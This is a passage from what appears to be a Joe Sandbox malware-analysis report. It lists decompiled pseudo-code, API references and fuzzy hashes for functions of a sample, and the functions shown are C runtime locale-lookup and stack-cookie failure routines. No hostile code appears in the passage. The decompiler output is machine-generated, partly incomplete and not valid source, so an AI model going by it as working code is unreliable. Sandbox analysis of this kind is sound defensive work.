					_t264 = E0041C600(_t279,  &_v20, 1, _v12, 0x20, __esi + 0xa4);
					_t267 = E0041C600(_t279,  &_v20, 1, _v12, 0x1003, __esi + 0xa8);
					_t276 = _v12;
					_t270 = E0041C600(_t279,  &_v20, 0, _t276, 0x1009, __esi + 0xb0);
					 *(__esi + 0xac) = _t276;
					return _t142 | _t145 | _t148 | _t151 | _t154 | _t157 | _t159 | _t162 | _t165 | _t168 | _t171 | _t174 | _t177 | _t180 | _t183 | _t186 | _t189 | _t192 | _t195 | _t198 | _t201 | _t204 | _t207 | _t210 | _t213 | _t216 | _t219 | _t222 | _t225 | _t228 | _t231 | _t234 | _t237 | _t240 | _t243 | _t246 | _t249 | _t252 | _t255 | _t258 | _t261 | _t264 | _t267 | _t270;
				} else {
					return __eax | 0xffffffff;
				}
			}

0x0041aea8
0x0041aeac
0x0041aeb0
0x0041aeb3
0x0041aeb8
0x0041aebf
0x0041aec5
0x0041aed7
0x0041aeec
0x0041af01
0x0041af16
0x0041af2e
0x0041af43
0x0041af55
0x0041af6a
0x0041af82
0x0041af97
0x0041afac
0x0041afc1
0x0041afd9
0x0041afee
0x0041b003
0x0041b018
0x0041b030
0x0041b045
0x0041b05a
0x0041b06f
0x0041b087
0x0041b09c
0x0041b0b1
0x0041b0c6
0x0041b0de
0x0041b0f3
0x0041b108
0x0041b11d
0x0041b135
0x0041b14a
0x0041b15f
0x0041b174
0x0041b18f
0x0041b1a7
0x0041b1bf
0x0041b1d7
0x0041b1f2
0x0041b20a
0x0041b222
0x0041b23a
0x0041b255
0x0041b26d
0x0041b288
0x0041b29b
0x0041b2a5
0x0041b2b2
0x0041b2ba
0x0041aeba
0x0041aebe
0x0041aebe

APIs

___getlocaleinfo.LIBCMT ref: 0041AED7
___getlocaleinfo.LIBCMT ref: 0041AEEC
___getlocaleinfo.LIBCMT ref: 0041AF01
___getlocaleinfo.LIBCMT ref: 0041AF16
___getlocaleinfo.LIBCMT ref: 0041AF2E
___getlocaleinfo.LIBCMT ref: 0041AF43
___getlocaleinfo.LIBCMT ref: 0041AF55
___getlocaleinfo.LIBCMT ref: 0041AF6A
___getlocaleinfo.LIBCMT ref: 0041AF82
___getlocaleinfo.LIBCMT ref: 0041AF97

Memory Dump Source

Source File: 00000000.00000002.237200995.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.237197038.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237217659.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237226551.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237243731.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xGSkelSjdu.jbxd

Similarity

API ID: ___getlocaleinfo
String ID:
API String ID: 1937885557-0
Opcode ID: 71553168ee9bee61cd08c378b5a6ca9513eec3c295ec87cb197c73a8bbaa7d9a
Instruction ID: e6c0786b61ee2822e22fad2fa88b3406fa1aa5997eaee90518cb24ddcecdc135
Opcode Fuzzy Hash: 71553168ee9bee61cd08c378b5a6ca9513eec3c295ec87cb197c73a8bbaa7d9a
Instruction Fuzzy Hash: 1DE101B294060DBEEF11DAF1CC85EFFB7BDEB04748F10092AB215E3041EA74AA559764

Uniqueness

Uniqueness Score: -1.00%

Function 0041C14B Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 142
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E0041C14B(signed int __ebx, void* __edx, intOrPtr* __esi, void* __eflags) {
				void* __edi;
				char* _t27;
				int _t28;
				signed int _t29;
				intOrPtr* _t34;
				int _t36;
				void* _t40;
				void* _t43;
				signed int _t48;
				void* _t50;
				signed int _t54;
				char* _t57;
				signed int* _t67;
				signed int _t68;
				signed short _t71;
				signed int _t73;
				char** _t74;
				void* _t76;
				void* _t78;
				void* _t79;

				_t74 = __esi;
				_t66 = __edx;
				_t54 = __ebx;
				E0041BB55(__edx, 0x426b30, 0x16, _t67);
				_t79 = _t78 + 0xc;
				_t27 =  *((intOrPtr*)(__esi));
				 *(__esi + 8) =  *(__esi + 8) & 0x00000000;
				if(_t27 == 0 ||  *_t27 == 0) {
					_t68 =  *_t67;
					__eflags = _t68;
					if(_t68 == 0) {
						L17:
						 *(_t74 + 8) = 0x104;
						_t28 = GetUserDefaultLCID();
						 *(_t74 + 0x18) = _t28;
						 *(_t74 + 0x1c) = _t28;
					} else {
						__eflags =  *_t68;
						if( *_t68 == 0) {
							goto L17;
						} else {
							_t43 = E0040FAC0(_t68);
							asm("sbb eax, eax");
							 *((intOrPtr*)(_t74 + 0x14)) =  ~(_t43 - 3) + 1;
							EnumSystemLocalesA(E0041BCCE, 1);
							__eflags =  *(_t74 + 8) & 0x00000004;
							if(( *(_t74 + 8) & 0x00000004) == 0) {
								 *(_t74 + 8) =  *(_t74 + 8) & 0x00000000;
							}
						}
					}
					goto L19;
				} else {
					_t48 =  *_t67;
					if(_t48 == 0) {
						L6:
						E0041C0D4(_t74, __eflags);
					} else {
						_t85 =  *_t48;
						if( *_t48 == 0) {
							goto L6;
						} else {
							E0041C06D(__esi, _t85);
						}
					}
					if( *(_t74 + 8) != 0) {
						L20:
						asm("sbb ecx, ecx");
						_t71 = L0041BBB7(_t54 - 0xffffff80,  ~_t54 & _t54 - 0xffffff80, _t66, _t74);
						 *(_t76 + 8) = _t71;
						if(_t71 == 0 || _t71 == 0xfde8 || _t71 == 0xfde9 || IsValidCodePage(_t71 & 0x0000ffff) == 0 || IsValidLocale( *(_t74 + 0x18), 1) == 0) {
							goto L35;
						} else {
							_t34 =  *((intOrPtr*)(_t76 + 0xc));
							if(_t34 != 0) {
								 *_t34 =  *(_t74 + 0x18);
								 *((short*)(_t34 + 2)) =  *(_t74 + 0x1c);
								 *(_t34 + 4) = _t71;
							}
							_t57 =  *(_t76 + 0x10);
							if(_t57 == 0) {
								L34:
								_t29 = 1;
							} else {
								if( *_t34 != 0x814) {
									_t36 = GetLocaleInfoA( *(_t74 + 0x18), 0x1001, _t57, 0x40);
									__eflags = _t36;
									if(_t36 == 0) {
										goto L35;
									} else {
										goto L32;
									}
								} else {
									_t40 = E004170C8(_t66, _t57, 0x40, "Norwegian-Nynorsk");
									_t79 = _t79 + 0xc;
									_t99 = _t40;
									if(_t40 != 0) {
										_push(0);
										_push(0);
										_push(0);
										_push(0);
										_push(0);
										E0041162F(0x814, _t66, GetLocaleInfoA, _t74, _t99);
										_t79 = _t79 + 0x14;
									}
									L32:
									if(GetLocaleInfoA( *(_t74 + 0x1c), 0x1002,  &(_t57[0x40]), 0x40) == 0) {
										goto L35;
									} else {
										E00415387( *(_t76 + 8), _t57 - 0xffffff80, 0x10, 0xa);
										goto L34;
									}
								}
							}
						}
					} else {
						_t50 = E0041BB55(_t66, 0x426928, 0x40, _t74);
						_t79 = _t79 + 0xc;
						if(_t50 != 0) {
							_t73 =  *_t67;
							if(_t73 == 0) {
								L12:
								E0041C0D4(_t74, __eflags);
							} else {
								_t89 =  *_t73;
								if( *_t73 == 0) {
									goto L12;
								} else {
									E0041C06D(_t74, _t89);
								}
							}
						}
						L19:
						if( *(_t74 + 8) == 0) {
							L35:
							_t29 = 0;
							__eflags = 0;
						} else {
							goto L20;
						}
					}
				}
				return _t29;
			}

0x0041c14b
0x0041c14b
0x0041c14b
0x0041c153
0x0041c158
0x0041c15b
0x0041c15d
0x0041c163
0x0041c1b8
0x0041c1ba
0x0041c1bc
0x0041c1ee
0x0041c1ee
0x0041c1f5
0x0041c1fb
0x0041c1fe
0x0041c1be
0x0041c1be
0x0041c1c1
0x00000000
0x0041c1c3
0x0041c1c4
0x0041c1cf
0x0041c1d9
0x0041c1dc
0x0041c1e2
0x0041c1e6
0x0041c1e8
0x0041c1e8
0x0041c1e6
0x0041c1c1
0x00000000
0x0041c16a
0x0041c16a
0x0041c16e
0x0041c17c
0x0041c17c
0x0041c170
0x0041c170
0x0041c173
0x00000000
0x0041c175
0x0041c175
0x0041c175
0x0041c173
0x0041c185
0x0041c20b
0x0041c212
0x0041c21d
0x0041c21f
0x0041c224
0x00000000
0x0041c267
0x0041c267
0x0041c26c
0x0041c272
0x0041c279
0x0041c27d
0x0041c27d
0x0041c281
0x0041c286
0x0041c2f5
0x0041c2f7
0x0041c288
0x0041c296
0x0041c2c8
0x0041c2ca
0x0041c2cc
0x00000000
0x00000000
0x00000000
0x00000000
0x0041c298
0x0041c2a0
0x0041c2a5
0x0041c2a8
0x0041c2aa
0x0041c2ae
0x0041c2af
0x0041c2b0
0x0041c2b1
0x0041c2b2
0x0041c2b3
0x0041c2b8
0x0041c2b8
0x0041c2ce
0x0041c2e0
0x00000000
0x0041c2e2
0x0041c2ed
0x00000000
0x0041c2f2
0x0041c2e0
0x0041c296
0x0041c286
0x0041c18b
0x0041c193
0x0041c198
0x0041c19d
0x0041c19f
0x0041c1a3
0x0041c1b1
0x0041c1b1
0x0041c1a5
0x0041c1a5
0x0041c1a8
0x00000000
0x0041c1aa
0x0041c1aa
0x0041c1aa
0x0041c1a8
0x0041c1a3
0x0041c201
0x0041c205
0x0041c2fa
0x0041c2fa
0x0041c2fa
0x00000000
0x00000000
0x00000000
0x0041c205
0x0041c185
0x0041c300

APIs

_TranslateName.LIBCMT ref: 0041C153
_GetLcidFromLangCountry.LIBCMT ref: 0041C175

Part of subcall function 0041C06D: _strlen.LIBCMT ref: 0041C06F
Part of subcall function 0041C06D: _strlen.LIBCMT ref: 0041C082
Part of subcall function 0041C06D: EnumSystemLocalesA.KERNEL32(Function_0001BDDA,00000001,?,?,?,?,?), ref: 0041C0B4

_GetLcidFromLanguage.LIBCMT ref: 0041C17C
_TranslateName.LIBCMT ref: 0041C193
_GetLcidFromLangCountry.LIBCMT ref: 0041C1AA
_GetLcidFromLanguage.LIBCMT ref: 0041C1B1
_strlen.LIBCMT ref: 0041C1C4
EnumSystemLocalesA.KERNEL32(Function_0001BCCE,00000001), ref: 0041C1DC
GetUserDefaultLCID.KERNEL32(00000083,00000000,-0000007C,?,0041402D,?,-0000007C,?,00000000,00000000,00000000), ref: 0041C1F5
IsValidCodePage.KERNEL32(00000000), ref: 0041C246
IsValidLocale.KERNEL32(?,00000001), ref: 0041C259
_strcpy_s.LIBCMT ref: 0041C2A0
__invoke_watson.LIBCMT ref: 0041C2B3
GetLocaleInfoA.KERNEL32(?,00001002,?,00000040), ref: 0041C2DC
__itoa_s.LIBCMT ref: 0041C2ED

Strings

Norwegian-Nynorsk, xrefs: 0041C298

Memory Dump Source

Source File: 00000000.00000002.237200995.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.237197038.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237217659.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237226551.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237243731.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xGSkelSjdu.jbxd

Similarity

API ID: FromLcid$_strlen$CountryEnumLangLanguageLocaleLocalesNameSystemTranslateValid$CodeDefaultInfoPageUser__invoke_watson__itoa_s_strcpy_s
String ID: Norwegian-Nynorsk
API String ID: 1195062792-461349085
Opcode ID: 8fd335e4346ee89df3d085ce915a6ce2b06a615819f3a8d2cc4543c406ca7edf
Instruction ID: 7fd390b1b6d23d90d0acf6984f1c2bc31d364d5db6f4bd81423a731f56fd0f9f
Opcode Fuzzy Hash: 8fd335e4346ee89df3d085ce915a6ce2b06a615819f3a8d2cc4543c406ca7edf
Instruction Fuzzy Hash: E6411170AC03059BE7305FA9CC857E376A4AF04700F29806BE846D66E1DB7CD8C1CA5E

Uniqueness

Uniqueness Score: -1.00%

Function 0041C12D Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 96
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E0041C12D(signed int __eax, signed int __ebx, void* __ecx, void* __edx, void* __esi) {
				int _t19;
				int _t20;
				intOrPtr* _t25;
				int _t27;
				void* _t31;
				char* _t37;
				void* _t46;
				signed short _t49;
				void* _t52;
				void* _t54;
				void* _t56;

				_t46 = __edx;
				_t52 = __esi - 1;
				 *(__ecx + __eax) =  *(__ecx + __eax) | __eax;
				 *__eax =  *__eax + __eax;
				_t19 = GetUserDefaultLCID();
				 *(_t52 + 0x18) = _t19;
				 *(_t52 + 0x1c) = _t19;
				if( *((intOrPtr*)(_t52 + 8)) == 0) {
					L18:
					_t20 = 0;
					__eflags = 0;
				} else {
					asm("sbb ecx, ecx");
					_t49 = L0041BBB7(__ebx - 0xffffff80,  ~__ebx & __ebx - 0xffffff80, _t46, _t52);
					 *(_t54 + 8) = _t49;
					if(_t49 == 0 || _t49 == 0xfde8 || _t49 == 0xfde9 || IsValidCodePage(_t49 & 0x0000ffff) == 0 || IsValidLocale( *(_t52 + 0x18), 1) == 0) {
						goto L18;
					} else {
						_t25 =  *((intOrPtr*)(_t54 + 0xc));
						if(_t25 != 0) {
							 *_t25 =  *(_t52 + 0x18);
							 *((short*)(_t25 + 2)) =  *(_t52 + 0x1c);
							 *(_t25 + 4) = _t49;
						}
						_t37 =  *(_t54 + 0x10);
						if(_t37 == 0) {
							L17:
							_t20 = 1;
						} else {
							if( *_t25 != 0x814) {
								_t27 = GetLocaleInfoA( *(_t52 + 0x18), 0x1001, _t37, 0x40);
								__eflags = _t27;
								if(_t27 == 0) {
									goto L18;
								} else {
									goto L15;
								}
							} else {
								_t31 = E004170C8(_t46, _t37, 0x40, "Norwegian-Nynorsk");
								_t56 = _t56 + 0xc;
								_t67 = _t31;
								if(_t31 != 0) {
									_push(0);
									_push(0);
									_push(0);
									_push(0);
									_push(0);
									E0041162F(0x814, _t46, GetLocaleInfoA, _t52, _t67);
									_t56 = _t56 + 0x14;
								}
								L15:
								if(GetLocaleInfoA( *(_t52 + 0x1c), 0x1002,  &(_t37[0x40]), 0x40) == 0) {
									goto L18;
								} else {
									E00415387( *(_t54 + 8), _t37 - 0xffffff80, 0x10, 0xa);
									goto L17;
								}
							}
						}
					}
				}
				return _t20;
			}

0x0041c12d
0x0041c12d
0x0041c12e
0x0041c131
0x0041c1f5
0x0041c1fb
0x0041c1fe
0x0041c205
0x0041c2fa
0x0041c2fa
0x0041c2fa
0x0041c20b
0x0041c212
0x0041c21d
0x0041c21f
0x0041c224
0x00000000
0x0041c267
0x0041c267
0x0041c26c
0x0041c272
0x0041c279
0x0041c27d
0x0041c27d
0x0041c281
0x0041c286
0x0041c2f5
0x0041c2f7
0x0041c288
0x0041c296
0x0041c2c8
0x0041c2ca
0x0041c2cc
0x00000000
0x00000000
0x00000000
0x00000000
0x0041c298
0x0041c2a0
0x0041c2a5
0x0041c2a8
0x0041c2aa
0x0041c2ae
0x0041c2af
0x0041c2b0
0x0041c2b1
0x0041c2b2
0x0041c2b3
0x0041c2b8
0x0041c2b8
0x0041c2ce
0x0041c2e0
0x00000000
0x0041c2e2
0x0041c2ed
0x00000000
0x0041c2f2
0x0041c2e0
0x0041c296
0x0041c286
0x0041c224
0x0041c300

APIs

GetUserDefaultLCID.KERNEL32(00000083,00000000,-0000007C,?,0041402D,?,-0000007C,?,00000000,00000000,00000000), ref: 0041C1F5
IsValidCodePage.KERNEL32(00000000), ref: 0041C246
IsValidLocale.KERNEL32(?,00000001), ref: 0041C259
_strcpy_s.LIBCMT ref: 0041C2A0
__invoke_watson.LIBCMT ref: 0041C2B3
GetLocaleInfoA.KERNEL32(?,00001001,?,00000040), ref: 0041C2C8
GetLocaleInfoA.KERNEL32(?,00001002,?,00000040), ref: 0041C2DC
__itoa_s.LIBCMT ref: 0041C2ED

Strings

Norwegian-Nynorsk, xrefs: 0041C298

Memory Dump Source

Source File: 00000000.00000002.237200995.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.237197038.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237217659.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237226551.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237243731.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xGSkelSjdu.jbxd

Similarity

API ID: Locale$InfoValid$CodeDefaultPageUser__invoke_watson__itoa_s_strcpy_s
String ID: Norwegian-Nynorsk
API String ID: 3456194182-461349085
Opcode ID: 16372bf1cc57680549bbace686a2dec9d860549cd85378e00eabca604af608e9
Instruction ID: 56da3f4ff0e601322e432701795223cb553c31ae1f21bf603bad6e4524b19ee3
Opcode Fuzzy Hash: 16372bf1cc57680549bbace686a2dec9d860549cd85378e00eabca604af608e9
Instruction Fuzzy Hash: D8213571B803059BDB306FB5CC82BA736A4AF14300F04456AE907D76E1D679C881C62D

Uniqueness

Uniqueness Score: -1.00%

Function 0041BBD4 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041BBD4(void* __ebx, void* __edx, void* __edi, void* __esi) {
				void* _t18;
				void* _t28;
				void* _t29;
				void* _t31;

				_t29 = __edi;
				_t28 = __edx;
				_t18 = __ebx;
				_t31 = __esi - 1;
			}

0x0041bbd4
0x0041bbd4
0x0041bbd4
0x0041bbd4

APIs

GetLocaleInfoA.KERNEL32(?,0000000B,?,00000008), ref: 0041BC02
GetLocaleInfoA.KERNEL32(?,00001004,00000000,00000008,-0000009C,00000000,00000000,00000000), ref: 0041BC31

Strings

ACP, xrefs: 0041BBD5
OCP, xrefs: 0041BBE6
Vj:, xrefs: 0041BC0F

Memory Dump Source

Source File: 00000000.00000002.237200995.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.237197038.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237217659.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237226551.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237243731.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xGSkelSjdu.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP$Vj:
API String ID: 2299586839-1087662894
Opcode ID: 6d85971768e2220d885b3112ed00af9086bc44e7ce2fd54677a1f69ecc1b2b4a
Instruction ID: 97ac87233bd7384576b4dfb37815ddff0cf8194dfa249b24b1be21dc9bcfd626
Opcode Fuzzy Hash: 6d85971768e2220d885b3112ed00af9086bc44e7ce2fd54677a1f69ecc1b2b4a
Instruction Fuzzy Hash: 97F0AF31300A1679DA20AB22AD02BEA6768EF04314F50406BF501E00D0EF2896C282CC

Uniqueness

Uniqueness Score: -1.00%

Function 00411A9A Relevance: 7.6, APIs: 5, Instructions: 58
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 85%

			E00411A9A(intOrPtr __eax, intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4) {
				intOrPtr _v0;
				void* _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _t6;
				intOrPtr _t11;
				intOrPtr _t12;
				intOrPtr _t13;
				long _t17;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t25;
				intOrPtr _t26;
				intOrPtr _t27;
				intOrPtr* _t31;
				void* _t34;

				_t27 = __esi;
				_t26 = __edi;
				_t25 = __edx;
				_t22 = __ecx;
				_t21 = __ebx;
				_t6 = __eax;
				_t34 = _t22 -  *0x44bed0; // 0xbb409bbb
				if(_t34 == 0) {
					asm("repe ret");
				}
				 *0x44d810 = _t6;
				 *0x44d80c = _t22;
				 *0x44d808 = _t25;
				 *0x44d804 = _t21;
				 *0x44d800 = _t27;
				 *0x44d7fc = _t26;
				 *0x44d828 = ss;
				 *0x44d81c = cs;
				 *0x44d7f8 = ds;
				 *0x44d7f4 = es;
				 *0x44d7f0 = fs;
				 *0x44d7ec = gs;
				asm("pushfd");
				_pop( *0x44d820);
				 *0x44d814 =  *_t31;
				 *0x44d818 = _v0;
				 *0x44d824 =  &_a4;
				 *0x44d760 = 0x10001;
				_t11 =  *0x44d818; // 0x0
				 *0x44d714 = _t11;
				 *0x44d708 = 0xc0000409;
				 *0x44d70c = 1;
				_t12 =  *0x44bed0; // 0xbb409bbb
				_v812 = _t12;
				_t13 =  *0x44bed4; // 0x44bf6444
				_v808 = _t13;
				 *0x44d758 = IsDebuggerPresent();
				_push(1);
				E004178A5(_t14);
				SetUnhandledExceptionFilter(0);
				_t17 = UnhandledExceptionFilter(0x4262e8);
				if( *0x44d758 == 0) {
					_push(1);
					E004178A5(_t17);
				}
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

0x00411a9a
0x00411a9a
0x00411a9a
0x00411a9a
0x00411a9a
0x00411a9a
0x00411a9a
0x00411aa0
0x00411aa2
0x00411aa2
0x004196a0
0x004196a5
0x004196ab
0x004196b1
0x004196b7
0x004196bd
0x004196c3
0x004196ca
0x004196d1
0x004196d8
0x004196df
0x004196e6
0x004196ed
0x004196ee
0x004196f7
0x004196ff
0x00419707
0x00419712
0x0041971c
0x00419721
0x00419726
0x00419730
0x0041973a
0x0041973f
0x00419745
0x0041974a
0x00419756
0x0041975b
0x0041975d
0x00419765
0x00419770
0x0041977d
0x0041977f
0x00419781
0x00419786
0x0041979a

APIs

IsDebuggerPresent.KERNEL32 ref: 00419750
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00419765
UnhandledExceptionFilter.KERNEL32(004262E8), ref: 00419770
GetCurrentProcess.KERNEL32(C0000409), ref: 0041978C
TerminateProcess.KERNEL32(00000000), ref: 00419793

Memory Dump Source

Source File: 00000000.00000002.237200995.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.237197038.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237217659.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237226551.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237243731.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xGSkelSjdu.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 953971215f84bffd1f3d7aadf4f54035561d2b4dadbc3b312112cece718c7a49
Instruction ID: 84ee826167f896c2a9bf756accd7c34bea7c4ec802df0a68b1045fc37d2bf2d1
Opcode Fuzzy Hash: 953971215f84bffd1f3d7aadf4f54035561d2b4dadbc3b312112cece718c7a49
Instruction Fuzzy Hash: C221CFB8A00204DBD711EF29F8856647BF4FB5A305F50403AE52887261E7B85A858FAD

Uniqueness

Uniqueness Score: -1.00%

Function 0041C06E Relevance: 6.0, APIs: 4, Instructions: 36
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E0041C06E(intOrPtr* __esi, void* __eflags) {
				void* _t17;
				void* _t21;
				intOrPtr _t25;
				signed char _t27;
				intOrPtr* _t31;

				_t31 = __esi;
				_t17 = E0040FAC0();
				asm("sbb eax, eax");
				 *((intOrPtr*)(__esi + 0x10)) =  ~(_t17 - 3) + 1;
				_t21 = E0040FAC0( *((intOrPtr*)(__esi + 4)));
				asm("sbb eax, eax");
				 *(__esi + 0x18) =  *(__esi + 0x18) & 0x00000000;
				 *((intOrPtr*)(__esi + 0x14)) =  ~(_t21 - 3) + 1;
				if( *((intOrPtr*)(__esi + 0x10)) == 0) {
					_t25 = E0041BCB3( *__esi);
				} else {
					_t25 = 2;
				}
				 *((intOrPtr*)(_t31 + 0xc)) = _t25;
				EnumSystemLocalesA(E0041BDDA, 1);
				_t27 =  *(_t31 + 8);
				if((_t27 & 0x00000100) == 0 || (_t27 & 0x00000200) == 0 || (_t27 & 0x00000007) == 0) {
					 *(_t31 + 8) =  *(_t31 + 8) & 0x00000000;
					return _t27;
				}
				return _t27;
			}

0x0041c06e
0x0041c06e
0x0041c07c
0x0041c07f
0x0041c082
0x0041c08c
0x0041c08e
0x0041c099
0x0041c09c
0x0041c0a5
0x0041c09e
0x0041c0a0
0x0041c0a0
0x0041c0b1
0x0041c0b4
0x0041c0ba
0x0041c0c2
0x0041c0cf
0x00000000
0x0041c0cf
0x0041c0d3

APIs

_strlen.LIBCMT ref: 0041C06E
_strlen.LIBCMT ref: 0041C082
_GetPrimaryLen.LIBCMT ref: 0041C0A5
EnumSystemLocalesA.KERNEL32(Function_0001BDDA,00000001,?,?,?,?,?), ref: 0041C0B4

Memory Dump Source

Source File: 00000000.00000002.237200995.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.237197038.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237217659.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237226551.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237243731.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xGSkelSjdu.jbxd

Similarity

API ID: _strlen$EnumLocalesPrimarySystem
String ID:
API String ID: 16223140-0
Opcode ID: 7df9f843c3e4c3ffbb85065509a5457094b94b46b77e717ca0ab55e4ca83bfde
Instruction ID: e7a61b26bf76ac1be0e6d6f7ee187f519de8a7b025faf161097c1d50f8e32f0d
Opcode Fuzzy Hash: 7df9f843c3e4c3ffbb85065509a5457094b94b46b77e717ca0ab55e4ca83bfde
Instruction Fuzzy Hash: E5F062315A0701CAE730DF75D98979677E0EB04715F108E2EE49BD25D1D77CE185CA88

Uniqueness

Uniqueness Score: -1.00%

Function 0041C0D5 Relevance: 4.5, APIs: 3, Instructions: 21
COMMON

Download Yara Rule

C-Code - Quality: 59%

			E0041C0D5(intOrPtr* __esi, void* __eflags) {
				void* _t8;
				intOrPtr _t11;
				intOrPtr _t12;
				int _t13;
				intOrPtr* _t16;

				_t16 = __esi;
				_t8 = E0040FAC0();
				asm("sbb eax, eax");
				_t11 =  ~(_t8 - 3) + 1;
				 *((intOrPtr*)(__esi + 0x10)) = _t11;
				if(_t11 == 0) {
					_t12 = E0041BCB3( *__esi);
				} else {
					_t12 = 2;
				}
				 *((intOrPtr*)(_t16 + 0xc)) = _t12;
				_t13 = EnumSystemLocalesA(E0041BFAC, 1);
				if(( *(_t16 + 8) & 0x00000004) == 0) {
					 *(_t16 + 8) =  *(_t16 + 8) & 0x00000000;
					return _t13;
				}
				return _t13;
			}

0x0041c0d5
0x0041c0d5
0x0041c0e0
0x0041c0e2
0x0041c0e4
0x0041c0e7
0x0041c0f0
0x0041c0e9
0x0041c0eb
0x0041c0eb
0x0041c0fc
0x0041c0ff
0x0041c109
0x0041c10b
0x00000000
0x0041c10b
0x0041c10f

APIs

_strlen.LIBCMT ref: 0041C0D5
_GetPrimaryLen.LIBCMT ref: 0041C0F0
EnumSystemLocalesA.KERNEL32(Function_0001BFAC,00000001), ref: 0041C0FF

Memory Dump Source

Source File: 00000000.00000002.237200995.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.237197038.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237217659.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237226551.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237243731.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xGSkelSjdu.jbxd

Similarity

API ID: EnumLocalesPrimarySystem_strlen
String ID:
API String ID: 3514356421-0
Opcode ID: 0ada5ff80f6276e6d00cdc01a67f98396c18c19fe86ccb6f72d42dc5f920680b
Instruction ID: 38a8c6511ce66254a85f758e7531784d2b0acf57d71b8173407fbd52f3c8cead
Opcode Fuzzy Hash: 0ada5ff80f6276e6d00cdc01a67f98396c18c19fe86ccb6f72d42dc5f920680b
Instruction Fuzzy Hash: 37E0DF706E0305CBD7308F31C8857927BD0AB04B04F20C92EE096C64C0C7BC80808A4C

Uniqueness

Uniqueness Score: -1.00%

Function 004179D5 Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004179D5() {

				SetUnhandledExceptionFilter(E00417993);
				return 0;
			}

0x004179da
0x004179e2

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00017993), ref: 004179DA

Memory Dump Source

Source File: 00000000.00000002.237200995.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.237197038.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237217659.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237226551.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
